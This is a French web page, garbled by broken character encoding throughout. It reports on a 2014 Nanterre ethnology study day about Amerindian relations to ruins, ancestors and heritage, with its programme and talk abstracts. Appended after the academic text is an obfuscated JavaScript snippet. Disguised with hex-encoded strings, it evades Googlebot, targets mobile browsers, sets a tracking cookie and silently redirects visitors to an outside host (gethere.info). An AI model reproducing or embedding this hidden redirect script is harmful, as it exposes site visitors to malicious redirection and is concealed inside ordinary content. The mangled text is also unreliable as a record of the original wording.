COMPTE-RENDU journA�e d’A�tude : des vestiges, le 24 octobre 2014, LESC-MAE, Nanterre

DES VESTIGES :

pratiques memorielles, inscriptions temporelles et engagement politique dans les mondes amerindiens

Le 24 octobre 2014

Laboratoire da��Ethnologie et de Sociologie ComparativeA�- Salle 308

Maison Ethnologie et ArchA�ologie RenA�-GinouvA?s

21, allA�e de la��UniversitA�

UniversitA� Paris Ouest Nanterre

A�JournA�e d’A�tude Fabriq’am organisA�e par Valentina Vapnarsky et Laurence Charlier

A�Valentina Vapnarsky

Cette journA�e sa��inscrit dans la��axe RA�gimes de temporalitA�, da�?historicitA� de savoir duA� projet A�FABRIQa��AM, et plus spA�cifiquement concernant La��ancrage spatial et matA�riel de la mA�moire.

La��espace, constituA� en gA�ographies et territoires spA�cifiques, porte une part de la mA�moire sociale, (re)produite, et (re)configurA�e par des savoirs et activitA�s A�cologiques, A�conomiques, politiques et sociaux (Rival 2002, Santos Granero 1998). Ces configurations spatiales sont souvent un support essentiel du lien aux ancA?tres, investis rituellement et rattachA� A� des lieux prA�cis a�� topographiquement singuliers, marquA�s par une activitA� humaine antA�rieure (vestiges, pictogrammesa��) ou liA�s A� des traits A�cologiques distinctifs a�� (Cruz sous presse, Daillant 1997, Vapnarsky et Le Guen 2011, Virtanen 2011). Plusieurs de ces lieux sont A�rigA�s en sites touristiques par les instituts nationaux da��archA�ologie ou des initiatives locales de tourisme communautaire, et rA�investis par les autoritA�s politiques locales A� diffA�rentes A�chelles (ex. le site de Tiawanaku en Bolivie devenu un sanctuaire tant pour la��A�tat a�� le prA�sident y a reA�u la��investiture a�� que pour des militants indianistes et activistes de diverses obA�diences) ou par les mouvements nA�o-indiens (ex. Chichen Itzaa��, Tulum, El Tajin au Mexique) (Cruz 2009, RiviA?re 2007 pour les Andes). On sa��intA�ressera A� la faA�on dont ces nouvelles pratiques sur des lieux mythiques ou ancestraux sont reformulA�es dans les conceptions indigA?nes et intA�grA�es ou non dans les stratA�gies locales de partage de mA�moire au sein du groupe et avec la��extA�rieur. Des questionnements similaires peuvent A?tre transposA�s A� certains objets ou pratiques qui matA�rialisent pour les sociA�tA�s A�tudiA�es, au sein da��usages rituels ou plus quotidiens, le lien entre le passA� et les A?tres du prA�sent, associA� souvent A� celui entre les humain et les nona��humains.

Cette journA�e da��A�tude sa��attache plus spA�cifiquement A� la��analyse des relations que les populations amA�rindiennes entretiennent avec diffA�rentes formes de vestiges du passA�, en particulier les restes A�difiA�s qui se trouvent sur leur territoire ou A� proximitA�.

DiffA�rentsA� aspects seront abordA�sA�:

  • Les conceptions et les rapports A� la temporalitA� et A� la��ancestralitA�, les modes de constructions mA�morielles en considA�rant la��impact da��A�ventuelles patrimonialisations de vestiges sur ces modes de construction.
  • Les formes de rA�fA�rence discursive A� ces vestigesA�: A� quelles qualitA�s renvoient les termes pour les dA�signerA�? Existe-t-il des genres du discours ou des formes narratives et rituelles associA�esA�? Ces lieux suscitent-ils des comportements verbaux particuliers?
  • Les relations et les investissementsA�: quelle place occupent ces vestiges dans la vie quotidienneA�(par exemple dans la��occupation et la��utilisation de la��espace, les reprA�sentations territoriales, les activitA�s A�conomiques, rituelles,a��) ? Il y a-t-il des dA�sintA�rA?tsA�? Comment sa��articule la��investissement (symbolique, affectif, politique) avec les enjeux politiques da��autochtonieA�ou da��autres formes de revendicationsA�?
  • Les patrimonialisationsA�des vestiges : qui en sont les agentsA�? Quels rapports entre les reprA�sentants indigA?nes, les scientifiques et les politiques, ou encore les promoteursA�touristiques ?

CA�dric Becquey (UniversitA� Libre d’Amsterdam) et Marie Chosson (INALCO)

Du dynamisme des lieux de mA�moire pour les populations chol et tseltalA�: rA�flexions sur le manque de valorisation de certains vestiges mayas

Les vestiges da��activitA�s humaines passA�es, pyramides prA�hispaniques ou A�glises coloniales, jalonnent le paysage de la plupart des communautA�s mayas. MalgrA� la��importance, pour ces groupes, de la rA�fA�rence A� la��ancestralitA�, il est courant de remarquer un manque da��investissement particulier, symbolique ou affectif, de ces lieux. A� partir da��exemples contrastifs, rencontrA�s dans des communautA�s villageoises historiquement ancrA�es dans leur territoire mais aussi dans des groupes ayant rA�cemment migrA�, seront examinA�es certaines conceptions relatives aux constructions mA�morielles et aux rapports des hommes avec leurs ancA?tres. En effet, la��absence de valorisation distinctive des vestiges humains sa��explique, en partie, par le fait que les gA�nA�rations da��hommes traversant le cours du temps, ne semblent pas avoir marquA�, pour eux, le paysage historique et aucune action humaine na��est utilisA�e comme repA?re identitaire de la constitution du groupe. Si tout individu aux actes remarquables est systA�matiquement transformA� en hA�ros aux qualitA�s divines, le groupe gA�nA�rique des ancA?tres acquiert lui aussi des qualitA�s particuliA?res. Parmi celles-ci, la nature dynamique des entitA�s du passA�, ancA?tres ou divinitA�s, leur permet de continuer A� vivre dans le prA�sent en se dA�plaA�ant et investissant da��autres A�lA�ments du paysage, dA�laissant souvent les vestiges qui ne sont alors plus considA�rA�s comme des lieux de mA�moire importants.A�A�

Valentina Vapnarsky (EREA-LESC)

Les ruines mayas, de la��intA�rieurA�: des temporalitA�s ineffables

On peut distinguer dans les conceptions actuelles des Mayas yucatA?ques de la rA�gion orientale deux grands pans de la��histoire passA�e, la��un correspond A� leur installation dans la rA�gion il y a quelques gA�nA�rations, A� la guerre des Castes et ses prolongements, la��autre concerne les humanitA�s antA�rieures. Alors que le premier est largement narrA� et commentA�, le second na��est qua��A�voquA� et ressort sensiblement du domaine de la��ineffable.A� Pourtant, cette histoire, trA?s ancienne, telle qua��elle est qualifiA�e, sa��instille dans les pratiques du quotidien, en particulier dans celles de la��utilisation de la��espace sylvestre et agricole. Elle est attachA�e A� des lieux, les mA?ul, monticules-vestiges prA�sents dans la forA?t, et objets de grandes prA�cautions. Ces lieux vivants, gA�nA�ratifs, exigeants sont la demeure des esprits gardiens, et indexent des temporalitA�s plurielles. Les mA?ul sont par ailleurs, selon les situations, assimilA�s ou distinguA�s des rwiinas, dont les A�difices, au grand jour, sont visitA�s par les touristes. CetteA� prA�sentation sa��attachera A� A�lucider les relations entre mA?ul, esprits gardiens et ancA?tres, humanitA� passA�es et actuelle, et les questions que ces relations soulA?vent sur les modes mayas de penser la cyclicitA�, la permanence et la transformation.

Gilles RiviA?re (CERMA-Mondesam, EHESS)

Des ruines toujours actives. MA�moires et temporalitA�s dans une communautA� aymara de Carangas (Bolivie)

Le grand centre rituel de Sabaya (communautA� aymara situA�e au sud-ouest du dA�partement da��Oruro, Bolivie) est situA� sur les flancs de la montagne appelA�e Mallku Tata Sabaya. Ce centre est composA� de divers A�difices (circulaires et rectangulaires) et de chullpas, les plus hautes de la rA�gion. Si, pour les archA�ologues, il sa��agit bien da��un site trA?s ancien dont les A�difices ont A�tA� A�rigA�s A� diffA�rentes pA�riodes (prA�-inca, inca, coloniale, rA�publicaine), pour les comunarios da��aujourda��hui ce site est associA� A� deux pA�riodes et deux humanitA�s clairement distinguA�es. Tous les A�difices en pierres sont attribuA�s A� la��ancA?tre A�ponyme et divinitA� tutA�laire, le Mallku Sabaya dont les aventures et celles de son fils (unijambiste) sont contA�es dans un mythe qui situe les divers lieux sacrA�s oA? sont rA�alisA�s les rituels communautaires. Ce personnage est reprA�sentA� sur un tableau dA�tachA� de la sphA?re catholique et indigA�nisA� qui est devenu la��emblA?me de la communautA�. Le mallku est incarnA� par la��autoritA� principale (le cacique) pendant que dure sa charge. Les chullpas, en revanche, et les momies qua��elles renferment, ne sont pas associA�es A� la��histoire locale mais A� celle de la communautA� voisine de Chipaya (uru). Nous reviendronsA� sur la triangulation mythe/rituel/charges et sur les discours qui dA�finissent la��origine et la��autochtonie des uns et des autres dans une relation toujours conflictuelle, au premier abord tout au moinsa��

Laurence Charlier (AssociA�e au CERMA – Mondesam)

Des momies et des monolithes. Les gestions de la mA�moire dans la rA�gion du Nord Potosi (Bolivie)

Dans la communautA� aymara da��Urur Uma (hauts plateaux du Nord PotosA� bolivien), certains vestiges prA�hispaniques (momies, maisons rondes en pierre) sont considA�rA�s comme le tA�moignage da��une humanitA�A�antA�rieure et da��une pA�riode prA�solaire : celle des cha��ullpaA� Contrairement au dA�partement voisin da��Oruro et A� la rA�gion de Sabaya (Cf Gilles RiviA?re), les cha��ullpa sont conA�ues comme les ancA?tres du lieu et leur prA�sence (sous la terre), participe A� la construction de la��autochtonie. AssociA�es au monde souterrain, elles ne sont pourtant pas sollicitA�es par les comunarios pour agir dans leur monde socialA�; contrairement A� la plupart des entitA�s de la��inframonde (les morts rA�cents par exemple), aucun A�change na��est A�tabli avec ces ancA?tres prA�solaires. Ce na��est qua��A� la saison des pluies, lorsque les bergers risquent de marcher sur une momie, que les comunarios A�A�se souviennentA�A� (yuyay) de ces ancA?tres. Or, les relations que les humains nouent avec les entitA�s de la��inframonde sa��A�tablissent lors de la mobilisation de leur mA�moire (yuyay). Le fait de A�A�se souvenirA�A� est en effet conA�u comme une interpellation. Dans le cas des cha��ullpa, la��interpellation involontaire des bergers les oblige A� la prA�cautionA�(ne pas importuner les ancA?tres pour ne pas les courroucer), la��idA�al A�tant de ne pas y A�A�penserA�A� (yuyay) pour ne pas actualiser leur manifestation.

ParallA?lement, des monolithes A�A�sorties de la terreA�A� sont associA�s A� un monde passA� et lointain oA? les montagnes gardiennes prenaient forme humaine et entraient alors en interaction avec les humains avant de redevenir pierre. Contrairement aux cha��ullpa, les lithomorphoses exhibA�es aujourda��hui par ces monolithes tA�moignent de la mA?me pA�riode que celle des habitants actuels da��Urur Uma. Ces monolithes sont clairement identifiA�s car ils se situent sur les rutas llameras empruntA�es par les populations de la rA�gion pour contrA?ler plusieurs A�tages A�cologiques, depuis la rA�gion du salar jusqua��aux vallA�es. Les parties effritA�es de ces monolithes sont vouA�es A� des offrandes rituelles (cha��alla) au cours desquelles les personnes mobilisent intentionnellement leur mA�moire (yuyay) pour interpeller les montagnes et A�tablir une relation da��A�change. Elles emportent ensuite ces pierres A�A�adorA�esA�A� afin de devenir invincibles lors des batailles rituelles (tinku). Ces parties de monolithe sont aussi utilisA�es comme marqueur territorial notamment dans les cas de guerre entre ayllus.

Notre propos sera de confronter ces vestiges du passA�, les momies et les pierres, en mettant la��axe sur les conceptions de la��ancestralitA� et les modes de construction mA�morielles. Nous verrons que les rapports au passA� (mais aussi au changement) se fondent sur la gestion da��une mobilisation : celle la mA�moire. Cette analyse nous permettra de revenir sur le processus rA�cent de patrimonialisation A� Urur Uma puisque depuis quelques annA�es, les habitants se mettent A� reconstruire les enclos en pierres des cha��ullpa (pour les touristes A�ventuels), A� vouloir mettre les momies dans des musA�es, tandis que les batailles rituelles entre personnes se transforment en combat de taureaux oA? la force des monolithes et des montagnes gardiennes na��a plus lieu da��A?tre convoquA�ea��

MaitA� Boullosa Joly (CURAPP, associA�e au CERMA-Mondesam)

Le site archA�ologique de QuilmesA�: la A�A�ville sacrA�eA�A�, des ancA?tres que la��on craint A� ceux dont on se revendique

Le site archA�ologique de Quilmes (Nord-Ouest argentin) reprA�sente un symbole important en Argentine. Il a A�tA� le lieu de plus longue rA�sistance indienne A� la��envahisseur au moment de la conquA?te. La guerre a durA� plus de 130 ans, jusqua��en 1665. Suite A� la dA�faite, les combattants ont A�tA� dA�portA�s A� pied jusque Buenos Aires, A� 1500 km des vallA�es Calchaquies.

Le site a A�tA� reconstruit dans les annA�es 1970, malgrA� les plaintes des archA�ologues, afin de dA�velopper le tourisme. En 2000, lors de mon premier travail de terrain dans la rA�gion, il A�tait exploitA� par un artisan, Hector Cruz, qui a mA?me construit un hA?tel sur la��ancien village indien. A� la��A�coute des nombreuses histoires de malA�diction concernant le site, ja��ai pu travailler sur les reprA�sentations locales de ces vestiges prA�hispaniques. A� cette mA?me pA�riode, les militants indianistes de la rA�gion impliquA�s dans des conflits agraires se revendiquaient A?tre les hA�ritiers de ce lieu qua��ils renommA?rent A�A�la ville sacrA�eA�A�, hA�ritage de leurs ancA?tres et symbole de leur rA�sistance pour protA�ger le territoire. Loin de symboliser la dA�portation indienne de la rA�gion, le site de Quilmes est devenu progressivement un lieu de mA�moire preuve da��autochtonie pour la��organisation indienne locale.

En 2007, suite A� des mobilisations massives, les habitants de la rA�gion rA�ussirent A� obtenir la gestion du site. Nous montrerons dans notre intervention la faA�on dont les vestiges ont A�tA� rA�signifiA�s, patrimonialisA�s et la��importance A�conomique et politique qua��ils peuvent avoir. Nous dA�crirons aussi les aspects complexes et conflictuels que la gestion a suscitA�s et suscite encore, tant sur la scA?ne locale que rA�gionale.

Pirjo Virtanen (Helsinki University, associA�e A� la��EREA)

Regards sur le passA� ancestral des Aruaks A� travers les A�tudes archA�ologiques menA�es dans le sud-ouest de la��Amazonie

Dans le sud-ouest de l’Amazonie, les terrassements gA�omA�triques (gA�oglyphes) identifiA�s dans la rA�gion du Haut-Purus ont contribuA� A� la��A�laboration da��une nouvelle image des civilisations amazoniennes. Ces sites sont appelA�s gA�oglyphes et sont principalement de formes circulaires, hexagonales, ou rectangulaires. Les plus anciens sites ont A�tA� construits il y a 2500 ans et A�taient encore en usage en 1250 de notre A?re. Les sites tA�moignent de la pratique de cA�rA�monies, mais leur usage ou leur processus de construction restent encore peu connus.

Depuis la colonisation du sud-ouest de la��Amazonie, les ApurinA?s et les Manchineris sont les indigA?nes qui se trouvent les plus A� proximitA� de ces sites archA�ologiques. La tradition orale des Manchineris sur les ancA?tres et certains non-humains est associA�e A� certains dessins correspondant aux paysages de terrassements gA�omA�triques monumentaux. Les esprits des palmiers sont associA�s A� de vastes plaines et l’iconographie des ancA?tres est semblable aux formes dessinA�es par les terrassements gA�omA�triques que la��on peut observer dans la rA�gion des terres des Manchineris. Ces non-humains et leurs dessins mettent en A�vidence les A�lA�ments qui doivent A?tre valorisA�s par la sociA�tA� car ils sont essentiels pour assurer sa continuitA� temporelle. De plus, au cours de nos analyses collaboratives, les Manchineris ont identifiA� la plupart des dessins de cA�ramiques et autres objets trouvA�s sur les sites.

Les conceptions sur les terrassements gA�omA�triques des ApurinA?s, qui habitent sur plusieurs territoires indigA?nes, sont diffA�rentes, et semblent varier selon leur environnement naturel et la distance par rapport aux espaces urbains. Ces lieux sont investis de sentiments trA?s fortsA�; dans les territoires les plus isolA�s, on considA?re que les terrassements ont A�tA� habitA�s par des A?tres non-humains gA�ants et monstrueux.

Pour ces deux groupes aruaks, l’histoire est objectivA�e dans ces gA�oglyphes et dans le paysage, A� travers les esprits des vivants et des morts. Ces esprits se matA�rialisent sous diverses formes exprimant la continuitA� dans une longue durA�e temporelle, mais A� la fois des ruptures significatives du temps.

MA?me si la��Institut National de Patrimoine Historique et Artistique a�� IPHAN, sa��attache A� la��A�laboration da��un outil juridique permettant de protA�ger les sites, les gA�oglyphes sont encore peu connus. On peut interprA�ter cela comme une maniA?re de A�A�faire taire le passA�A�A�, pour reprendre la��idA�e formulA�e par Michel-Rolph Trouillot. Dans le cadre traitA�, il sa��agit de faire taire le passA� indigA?ne amazonien.

A�GA�rard Collomb (iiac a�� LAIOS, associA� A� la��EREA)

A�A�Que faire de tout cela…?A�A� Gestion des traces du passA� et prise de parole politique amA�rindienne en Guyane

Au cours des trois derniA?res dA�cennies on a pu observer en Guyane la montA�e en puissance da��une expression politique amA�rindienne, construite notamment sur la��affirmation da��une antA�rioritA� de prA�sence fondant la rA�fA�rence A� A�A�la��autochtonieA�A�, et un dA�veloppement notable des connaissances archA�ologiques et historiques relatives au monde amA�rindien, largement mA�diatisA�es dans la��espace rA�gional. Mais il na��y a eu que peu ou pas de connexion entre ces deux processus.

En Guyane aujourda��hui, le rapport au passA� et la��inscription dans une histoire (histoire coloniale et histoire de la��esclavage, en particulier, pour la population afro-descendante, majoritaire) reprA�sentent un A�lA�ment majeur des stratA�gies de dA�finition de soi. Et dans un temps post colonial au sein duquel la seule appartenance A� la France ne suffit plus A� rA�pondre aux interrogations identitaires et nationalitaires qui se font jour, une compA�tition gA�nA�ralisA�e sa��est dessinA�e pour A�A�A�crire la��histoireA�A� et A�A�les histoiresA�A�. Dans ce contexte, il est paradoxal de relever que le mouvement politique amA�rindien, dans sa composante majoritaire kalia��na, ne sa��est pas vraiment emparA� de ces matA�riaux produits par la��archA�ologie et par la��histoire indigA�niste pour appuyer son argumentaire et pour inscrire ses revendications dans la��espace rA�gionalA�; il na��a pas cherchA� non plus A� instituer les A�A�vestigesA�A� que la��archA�ologie mettait au jour en A�A�monumentsA�A� opposables aux autres monuments que mettent en avant les autres cultures en prA�sence.

On sa��attachera A� illustrer et A� expliciter cette situation, A� partir da��exemples issus du terrain, en suivant deux pistes de rA�flexion. La premiA?re prend acte du peu de goA�t des Kali’na pour les traces du passA� lointain, pour les « vestiges », qui sont valorisA�s A�conomiquement s’ils peuvent l’A?tre plus qu’investis symboliquement. Cela renvoie sans doute, pour une large part, A� un travail de la mA�moire qui privilA�gie les formes d’oblitA�ration du passA� (A.Ch. Taylor), mais tout autant A� la difficultA� A� construire une mA�moire historique collective, partagA�e au-delA� du groupe local, A� la��intA�rieur da��une forme sociale (en ce cas caribe) qui inscrit le rapport au passA� et au temps dans un espace familial A�largi A�troitement associA� A� un lieu. La seconde prend acte da��un inflA�chissement de ce rapport A� la��histoire et au passA� amA�rindien depuis quelques annA�es, en particulier dans les plus jeunes gA�nA�rations scolarisA�es, qui rencontre parfois un A�cho nouveau auprA?s des jeunes gA�nA�rations crA�oles politisA�es. Il ne sa��agit pas seulement en ce cas du A�A�rA�chauffementA�A� da��une sociA�tA� froide (LA�vi Strauss), mais surtout de la��apparition da��un nouveau discours qua��il faut lire comme une prise de parole amA�rindienne dans la��espace rA�gional, permettant da��affirmer sa prA�sence dans une histoire qui se constitue dA�sormais comme commune.

Renzo Duin (University of Oxford)

Quel avenir pour le passA� des AmA�rindiens Wayana ?

A� la��occasion de la visite prA�sidentielle de Nicolas Sarkozy le 21 Janvier 2012, le Parc Amazonien de Guyane (PAG) avait mis en scA?ne un environnement A�A�authentiqueA�A� dans un des villages Wayana du Haut-Maroni (frontiA?re entre la Guyane franA�aise et le Suriname). Cet A�vA�nement soulA?ve plusieurs questions concernant les modes de construction mA�morielle, et les processus de patrimonialisation : qui en sont les agents, et quels rapports se nouent entre les reprA�sentants indigA?nes, les scientifiques et les politiques, au plan local et/ou national ?

Depuis 1996, je conduis avec des Wayana du Haut Maroni (en Guyane franA�aise et au Suriname) un programme de recherche collaborative pour l’A�tude et la sauvegarde du patrimoine (en Wayana : uhpak aptau upijA�mA�top, aklamatop, taklamai male). Cela nous amA?ne A� rapprocher des documents historiques (des gravures, des cartes, des photos, des films) et des objets ethnographiques conservA�s dans plusieurs musA�es A� travers le monde, avec la mA�moire sociale et les histoires orales. Notre objectif est de dA�velopper une maniA?re inclusive de faire de la��histoire, de la��archA�ologie et de la��ethnographie, afin de garder vivant le patrimoine matA�riel et immatA�riel wayana.

La maison communautaire appelA�e tukusipan, avec les objets et les rituels qui lui sont associA�s, comme le maluwana, les fA?tes A� cachiri et le grand marakA�, reprA�sentent aujourd’hui ce que l’on considA?re volontiers comme constituant le cA�ur du « patrimoine Wayana ». LeA�tukusipan, dans sa dimension symbolique et A� travers ses usages sociaux, offre alors la��occasion d’une rA�flexion sur la maniA?re dont se construit ce patrimoine, dans le prA�sent mais aussi dans le passA�. Le film A�A�Revitalizing the PastA�: a history of shared heritageA�A� montre la complexitA� des rA�gimes de temporalitA�, da��historicitA�, et de savoirs (savoir scientifique et savoir traditionnel) qui sont mis en A�uvre. Il s’efforce aussi d’approcher le A�A�tukusipanA�A� comme une institution, avec son usage social et politique, dans un contexte stratA�gique de dA�finition de soi A� travers la��autre, dans un contexte local et global, dans le passA�, comme aujourd’hui.

Le tukusipan et le grand marakA� reprA�sentent en effet bien plus que des occasions de transmission du savoir et du savoir-faire. Ils jouent aujourda��hui un rA?le important en tant qua��A�lA�ments du patrimoine Wayana produits dans le prA�sent, tout comme d’autres patrimoines avaient A�tA� produits dans d’autres prA�sents au cours des trois derniers siA?cles. En outre, le tukusipan et le rituel du grand marakA� ont A�tA� rA�appropriA�s par le Parc Amazonien de Guyane, qui les utilise dans la fabrication de son image ainsi que pour lA�gitimer son rA?le auprA?s des populations indigA?nes. La question de cette rA�appropriation mA�rite da��autant plus da��A?tre posA�e que les Wayana ont A�tabli avec cette institution implantA�e sur leur territoire des relations souvent difficiles et non dA�nuA�es d’ambiguA?tA�.

Ainsi, si nous ne nous attachons pas A� comprendre les processus sociaux et historiques par lesquels se construit aujourda��hui ce qua��est « A?tre Wayana », le tukusipan, le marakA�, et des AmA�rindiens en calimbA� rouge apparaissent comme un simple dA�cor posA� en arriA?re-plan, des caricatures stA�rA�otypA�es mobilisant des allA�gories et des mythes vidA�s de leur signification dans le patrimoine Wayana.A�

DA�bats

  • les modes de construction identitaire, les mouvements nA�o-indiensA�A� travers la��A�tude des emplois de catA�gories ethniques indiennes dans les revendications.
  • le dA�sinvestissement des populations indiennes pour la patrimonialisation des vestiges.
  • les diffA�rentes formes de relation A� la��ancestralitA� que ces vestiges indexent, ou non
  • la rupture et la continuitA� entres les gA�nA�rations actuelles et les vestiges

A�

A�

A�

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}